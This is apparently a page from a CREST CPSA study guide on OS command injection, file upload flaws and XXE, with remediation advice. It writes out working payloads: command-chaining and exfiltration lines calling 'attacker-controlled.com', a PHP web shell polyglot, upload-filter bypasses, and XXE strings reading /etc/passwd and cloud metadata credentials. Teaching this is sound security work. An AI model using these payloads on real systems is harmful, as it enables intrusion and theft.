Study guide

11.4 Command Injection, File Upload Vulnerabilities & API Flaws

CREST Practitioner Security Analyst CPSA

Track your progress as you read

Finished sections get a check mark.

1 Chapter 1: Soft Skills, Legal Framework & Assessment Management

1.1 The Penetration Testing Engagement Lifecycle & Scoping 1.2 Legal Framework: Computer Misuse Act & Compliance 1.3 Understanding, Explaining & Managing Technical Risk 1.4 Record Keeping, Interim Escalation & Reporting Standards

2 Chapter 2: Core Networking: IP Protocols & Network Architectures

2.1 IPv4 and IPv6 Addressing, Subnetting & Header Architecture 2.2 TCP and UDP Transport Protocols & Handshake Mechanics 2.3 ICMP Protocol, Network Diagnostics & Error Messages 2.4 Network Topologies, Switched Media & VLAN Segmentation 2.5 Network Media, Ethernet Standards & Physical Topologies

3 Chapter 3: Cryptography & Secure Communication Protocols

3.1 Symmetric & Asymmetric Cryptographic Algorithms 3.2 Cryptographic Hash Functions, MACs & Digital Signatures 3.3 Secure Protocols: SSL/TLS, IPsec & SSH

4 Chapter 4: Background Information Gathering & OSINT Reconnaissance

4.1 WHOIS Records, Domain Registrars & Autonomous Systems 4.2 DNS Infrastructure, Record Types & Zone Transfers 4.3 Search Engine Reconnaissance, Google Dorking & Information Leakage 4.4 Newsgroups, Mailing Lists & Public Archive Reconnaissance

5 Chapter 5: Networking Equipment & Infrastructure Protocols

5.1 Router & Switch Management: SNMP, SSH & Authentication 5.2 Layer 2 Protocols: ARP, CDP, STP, VTP & Redundancy 5.3 Core Network Services: DHCP, NTP & TFTP 5.4 Wireless Security (802.11) & VoIP Assessment 5.5 Out-of-Band Management, Console Access & Cisco Reverse Telnet

6 Chapter 6: Network Mapping, Nmap Techniques & Target Identification

6.1 Host Discovery Techniques & Ping Sweep Methodologies 6.2 Port Scanning Mechanics: TCP, UDP & Stealth Scans 6.3 OS Fingerprinting, Service Detection & Timing Templates 6.4 Firewall and IDS/IPS Evasion Techniques 6.5 Passive OS & Service Fingerprinting 6.6 Network Access Control Analysis & Firewall Rule Base Review

7 Chapter 7: Vulnerability Identification & Tool Output Analysis

7.1 Vulnerability Scanning Principles & Methodology 7.2 CVE Referencing, CVSS Scoring & Risk Prioritisation 7.3 Banner Grabbing, Service Verification & Manual Triage 7.4 Host Audit Techniques: Processes, Sockets, Patch Levels & Interesting Files

8 Chapter 8: Microsoft Windows Security Assessment & Active Directory

8.1 Active Directory Architecture & Domain Reconnaissance 8.2 Windows User & Group Enumeration via SMB & RPC 8.3 Windows Authentication: NTLM, Kerberos & Password Security 8.4 Windows Patch Management, Local Security & Common Services 8.5 Windows File System, Share & Registry Permissions 8.6 Desktop Lockdown, Citrix Breakout & Common Windows Applications

9 Chapter 9: Unix & Linux Security Assessment & Legacy Services

9.1 Linux/Unix Security Architecture, Permissions & Filesystem 9.2 Unix User Enumeration & Service Discovery 9.3 Network File System (NFS) & RPC Services Assessment 9.4 Legacy Unix Services: R-Services, X11, FTP & Modern SSH 9.5 Unix Remote Information Services: rusers, rwho, finger & systat 9.6 Unix Vulnerability Exploitation & Post-Exploitation Workflow

10 Chapter 10: Web Architectures, Technologies & Testing Methodologies

10.1 Web Server Architecture & the HTTP/HTTPS Protocol 10.2 Web Application Components, Frameworks & State Management 10.3 Web Reconnaissance, Content Discovery & Threat Modelling 10.4 Testing Authentication, Authorization & Session Management 10.5 Web Service Protocols: SOAP, REST & XML Messaging 10.6 Web APIs, Server Extensions & Client-Side Sub-Components

11 Chapter 11: Web Testing Techniques & OWASP Top Vulnerabilities

11.1 Input Validation Vulnerabilities & Parameter Manipulation 11.2 Cross-Site Scripting (XSS): Types, Impact & Defenses 11.3 Cross-Site Request Forgery (CSRF) & Client-Side Attacks 11.4 Command Injection, File Upload Vulnerabilities & API Flaws 11.5 Information Disclosure: Error Messages & Mark-up Leakage 11.6 Injection Beyond SQL: LDAP, XPath, Code & Template Injection 11.7 Source Code Review & Encoded/Cryptographic Value Analysis

12 Chapter 12: Database Security Assessment & SQL Injection

12.1 Database Architectures, Default Ports & Authentication 12.2 SQL Injection (SQLi) Foundations & In-Band Techniques 12.3 Blind SQL Injection & Database Enumeration 12.4 Database Attack Vectors, Stored Procedures & Hardening

11.4 Command Injection, File Upload Vulnerabilities & API Flaws

Key Takeaways Explain This Topic AI

Operating System Command Injection occurs when untrusted input is concatenated directly into system shell calls (system, exec, popen), allowing attackers to execute arbitrary system commands using operators such as ;, |, &&, and subshells.

Blind command injection yields no reflected command output in the HTTP response, necessitating detection via time delays (sleep, ping) or out-of-band application security testing (OAST) via DNS queries.

Unrestricted file upload vulnerabilities allow attackers to deploy executable web shells, bypassing flawed client-side checks, MIME-type inspection, extension blacklists, and magic byte validations.

XML External Entity (XXE) injection targets vulnerable XML parsers processing Document Type Definitions (DTDs), enabling local file disclosure, Server-Side Request Forgery (SSRF), and denial of service.

Last updated: September 2026

11.4 Command Injection, File Upload Vulnerabilities & API Flaws

While client-side flaws such as XSS and CSRF compromise user sessions, server-side injection and file handling vulnerabilities represent immediate threats to the underlying server infrastructure. When an application accepts untrusted data and executes it within the operating system shell, permits the upload of arbitrary server-side code, or improperly parses structured data formats such as XML, attackers can obtain full system compromise.

For CREST CPSA candidates, understanding the technical mechanics, exploitation vectors, detection methodologies, and architectural mitigations for OS Command Injection , Unrestricted File Uploads , and XML External Entity (XXE) Injection is essential for conducting thorough infrastructure and application assessments.

Operating System Command Injection

Operating System Command Injection (also known as shell injection) occurs when an application passes unsanitized user-supplied data to a system shell interpreter. The application intends to execute a specific system utility (such as ping , nslookup , traceroute , or sendmail ), but an adversary manipulates the command line syntax to execute arbitrary, unauthorized operating system commands with the privileges of the web server service account (e.g., www-data , apache , or IIS_IUSRS ). Target Code: $ip = $_POST['ip'];

system("ping -c 4 " . $ip);

Attacker Input: 8.8.8.8; whoami

Resulting Shell Execution:

  • ping -c 4 8.8.8.8 ; whoami
  • [--- Command 1 ---] [--- Injected Command 2 ---]
  • Vulnerable Execution Functions

Command injection occurs when developers invoke APIs that spawn a command shell ( /bin/sh , /bin/bash , or cmd.exe ) rather than directly invoking a binary with distinct arguments:

PHP: system() , exec() , passthru() , shell_exec() , popen() , proc_open() , backtick operator ( `command` ).

Python: os.system() , os.popen() , subprocess.Popen(..., shell=True) , subprocess.run(..., shell=True) .

Node.js: child_process.exec() .

C / C++: system() , popen() .

Command Chaining Operators and Separators

Attackers use shell metacharacters to chain their injected payload onto the legitimate command: +---------------------------------------------------------------------------------------------------+

  • | SHELL METACHARACTER TAXONOMY |
  • +---------------------------------------------------------------------------------------------------+
  • | Operator | Shell Support | Behavior & Execution Flow |
  • +--------------+---------------+--------------------------------------------------------------------+
  • | ; (Semicolon)| Unix / Linux | Sequential execution; second command executes regardless of first |
  • | & (Ampersand)| Windows / Unix| Asynchronous execution; spawns first in background, runs second |
  • | && (AND) | Windows / Unix| Conditional execution; second runs ONLY if first succeeds (exit 0) |
  • | || (OR) | Windows / Unix| Conditional execution; second runs ONLY if first fails (exit != 0) |
  • | | (Pipe) | Windows / Unix| Pipes stdout of first command into stdin of second command |
  • | ` (Backtick) | Unix / Linux | Inline command substitution; executes inner command first |
  • | $(command) | Unix / Linux | Subshell execution; replaces token with stdout of inner command |
  • | %0a (Newline)| Unix / Linux | Line terminator; starts a completely new command line |
  • +---------------------------------------------------------------------------------------------------+
  • In-Band vs. Blind Command Injection

Command injection vulnerabilities present across two distinct operational profiles:

In-Band (Direct) Command Injection: The web application captures both standard output ( stdout ) and standard error ( stderr ) of the executed shell process and renders it directly within the HTTP response body. For example, injecting ; cat /etc/passwd reflects the contents of the password database directly on the webpage.

Blind (Out-of-Band / Inferred) Command Injection: The application executes the command asynchronously or discards process output, returning a generic success message or HTTP status code regardless of execution results. Because no output is displayed, analysts use indirect verification techniques:

Time-Based Inference: The tester injects a command that forces the operating system to pause execution for a deterministic duration:

  • Unix/Linux: ; sleep 10 or | sleep 10
  • Windows: & ping -n 11 127.0.0.1 (pings localhost 11 times, introducing a 10-second delay)

If the HTTP response latency matches the injected sleep duration, command execution is confirmed.

Out-of-Band (OOB) Application Security Testing (OAST): When outbound network connections are permitted, the tester injects a network callback command directed to an analyst-controlled domain (e.g., using Burp Collaborator):

; nslookup $(whoami).attacker-controlled.com

; curl http://attacker-controlled.com/$(whoami | base64) Receiving a DNS resolution query or HTTP request confirms command execution and exfiltrates data in the subdomain prefix.

Mitigating Command Injection

Avoid Shell Invocation: Replace system calls with native programming language APIs (e.g., using Python's socket library or native file management functions rather than invoking shell utilities like ping or rm ).

Parameterized Process Invocation: If an external binary must be executed, use APIs that pass arguments as an array without invoking a command shell: # SECURE: shell=False prevents metacharacter interpretation

  • import subprocess
  • subprocess.run(["/bin/ping", "-c", "4", target_ip], shell=False, check=True)

Strict Allowlist Validation: Ensure input conforms strictly to expected formats (e.g., validating that an IP address strictly matches ^[0-9]{1,3}(\.[0-9]{1,3}){3}$ ).

Unrestricted File Upload Vulnerabilities

File upload functionality is a common feature in modern web applications, allowing users to upload avatars, PDF documents, spreadsheets, and multimedia. When an application permits users to upload files without adequate validation of file type, content, and destination storage, an attacker can upload an executable web shell , achieving immediate Remote Code Execution (RCE). +-----------------------+ 1. POST /upload.php (shell.php) +------------------------+

  • | Attacker Machine | ---------------------------------------> | Vulnerable Web Server |
  • | (Kali Linux) | | (/var/www/html/uploads)|
  • +-----------------------+ <---------------------------------------+------------------------+
  • | 2. Upload Succeeded: /uploads/shell.php |
  • | v
  • | 3. GET /uploads/shell.php?cmd=whoami |
  • +-------------------------------------------------------------------+
  • | 4. Web Server executes PHP -> Returns "www-data" |
  • v
  • Flawed File Validation Mechanisms & Bypasses

Applications frequently implement superficial checks that can be circumvented: +---------------------------------------------------------------------------------------------------+

  • | FILE UPLOAD VALIDATION BYPASS MATRIX |
  • +---------------------------------------------------------------------------------------------------+
  • | Flawed Defensive Check | Attacker Bypass Technique |
  • +--------------------------------+------------------------------------------------------------------+
  • | Client-side JavaScript check | Intercept POST in Burp Suite and restore original .php extension |
  • | MIME-type Content-Type header | Intercept request and change Content-Type to image/jpeg or png |
  • | File extension blacklist | Use alternate executable extensions (.php5, .phtml, .phar, .pht) |
  • | Case-sensitive extension check | Exploit Windows/NTFS case insensitivity (.PhP, .AsPx) |
  • | Trailing character filters | Append trailing dots/spaces in Windows (shell.php. or shell.php )|
  • | Magic bytes / File signature | Prepend valid magic bytes (GIF89a) to web shell payload |
  • +---------------------------------------------------------------------------------------------------+

Client-Side Validation Bypass: Applications check file extensions using browser JavaScript before transmission. A penetration tester selects a valid .jpg file to satisfy the browser check, catches the outgoing request in Burp Suite, and renames the file to shell.php with the payload body.

MIME-Type ( Content-Type ) Spoofing: Applications verify the Content-Type header submitted in the multipart body (e.g., verifying Content-Type: image/png ). Because the client controls this header, an attacker uploads a PHP script while modifying the header to Content-Type: image/jpeg .

Blacklist Bypass via Alternative Extensions: Developers blacklist .php or .asp , but fail to restrict alternate extensions parsed by server interpreters:

  • PHP: .php3 , .php4 , .php5 , .phtml , .pht , .phar
  • ASP / ASP.NET: .asa , .cer , .asax , .ashx , .config
  • JSP / Java: .jspx , .jsw , .jsv , .jspf

Magic Bytes (File Signature) Inspection: Applications inspect the first few bytes of the file to confirm its signature (e.g., GIF89a for GIF images, or \xFF\xD8\xFF for JPEG). An attacker bypasses this check by creating a polyglot file —prepending valid magic bytes directly before the PHP code: GIF89a;

  • <?php system($_GET['cmd']); ?>
  • Secure File Upload Architecture

To securely implement file uploads, organizations must adopt defense-in-depth architectural controls:

Storage Outside Web Root: Store uploaded files in a directory located completely outside the web server's public document root (e.g., in /var/storage/uploads instead of /var/www/html/uploads ), serving files indirectly via an application handler that streams raw bytes.

Disabling Execution Permissions: In Apache, configure directory directives to disable script engines ( php_admin_flag engine off ) and override rules ( AllowOverride None ). In Nginx, ensure the uploads location block sets types { } default_type application/octet-stream; .

Filename Randomization & Extension Allowlisting: Discard the original user-supplied filename completely. Generate a cryptographically random UUID for the filename on disk (e.g., 550e8400-e29b-41d4-a716-446655440000.png ) and strictly enforce an allowlist of non-executable extensions.

Dedicated Isolated Storage Domain: Serve user-uploaded content from an isolated, cookie-less subdomain or dedicated cloud object storage bucket (e.g., AWS S3, Google Cloud Storage) configured with Content-Disposition: attachment to prevent stored XSS.

XML External Entity (XXE) Injection

XML External Entity (XXE) injection occurs when an application processes untrusted XML input using a weakly configured XML parser that parses Document Type Definitions (DTDs) and resolves external entities. +---------------------------------------------------------------------------------------------------+

  • | XXE EXPLOITATION ARCHITECTURE |
  • +---------------------------------------------------------------------------------------------------+
  • | Attacker submits crafted XML with external entity declaration: |
  • | |
  • | <?xml version="1.0" encoding="UTF-8"?> |
  • | <!DOCTYPE foo [ |
  • | <!ELEMENT foo ANY > |
  • | <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> |
  • | <stockCheck> |
  • | <productId>&xxe;</productId> |
  • | </stockCheck> |
  • | |
  • | XML Parser resolves SYSTEM entity -> Reads /etc/passwd -> Embeds contents into <productId> |
  • | Application returns: "Product /etc/passwd: root:x:0:0:... out of stock" |
  • +---------------------------------------------------------------------------------------------------+
  • XML Entities and DTD Syntax

XML allows documents to define custom entities within an inline Document Type Definition ( <!DOCTYPE> ). Entities act as variables within the XML document:

General Internal Entity: <!ENTITY author "John Doe"> -> Reference &author; resolves to John Doe .

External Entity: Declared using the SYSTEM keyword followed by a URI. When the XML parser encounters <!ENTITY xxe SYSTEM "file:///etc/passwd"> , it retrieves the resource referenced by the URI and replaces the entity reference &xxe; with the retrieved content.

Attack Vectors and Operational Impact

Arbitrary File Disclosure: As illustrated above, referencing local filesystem URIs ( file:///etc/passwd , file:///c:/windows/win.ini ) allows an attacker to extract sensitive system configuration and credential files.

Server-Side Request Forgery (SSRF): An attacker replaces the file:// URI with an internal network address: <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> . The XML parser issues an HTTP GET request to the cloud metadata service, exposing IAM role credentials.

Denial of Service (Billion Laughs / XML Entity Expansion Attack): An attacker exploits recursive entity expansion without external entities to exhaust server memory and CPU: <!DOCTYPE lolz [

  • <!ENTITY lol "lol">
  • <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  • <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  • <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  • ]>

<data>&lol3;</data> A small payload of several hundred bytes expands exponentially into gigabytes of memory, crashing the parser process.

Blind XXE via Out-of-Band Exfiltration: When the application does not reflect parsed XML values in the HTTP response, the attacker defines an external parameter entity ( % ) that fetches a remote DTD from an attacker-controlled server. The remote DTD dynamically reads a sensitive file and transmits it as a query parameter in a secondary HTTP or FTP request to the attacker's listener.

XXE Remediation & Parser Hardening

The definitive defense against XML External Entity injection is to disable Document Type Definitions (DTDs) and external entity resolution completely within the XML parser configuration:

  • Java (DOM Parser / SAX Parser): DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
  • dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Python ( defusedxml ): Use the defusedxml package, which inherently disables entity expansion and external DTD resolution.

PHP ( libxml ): Ensure libxml_disable_entity_loader(true) is set (default behavior in modern PHP versions with libxml 2.9.0+).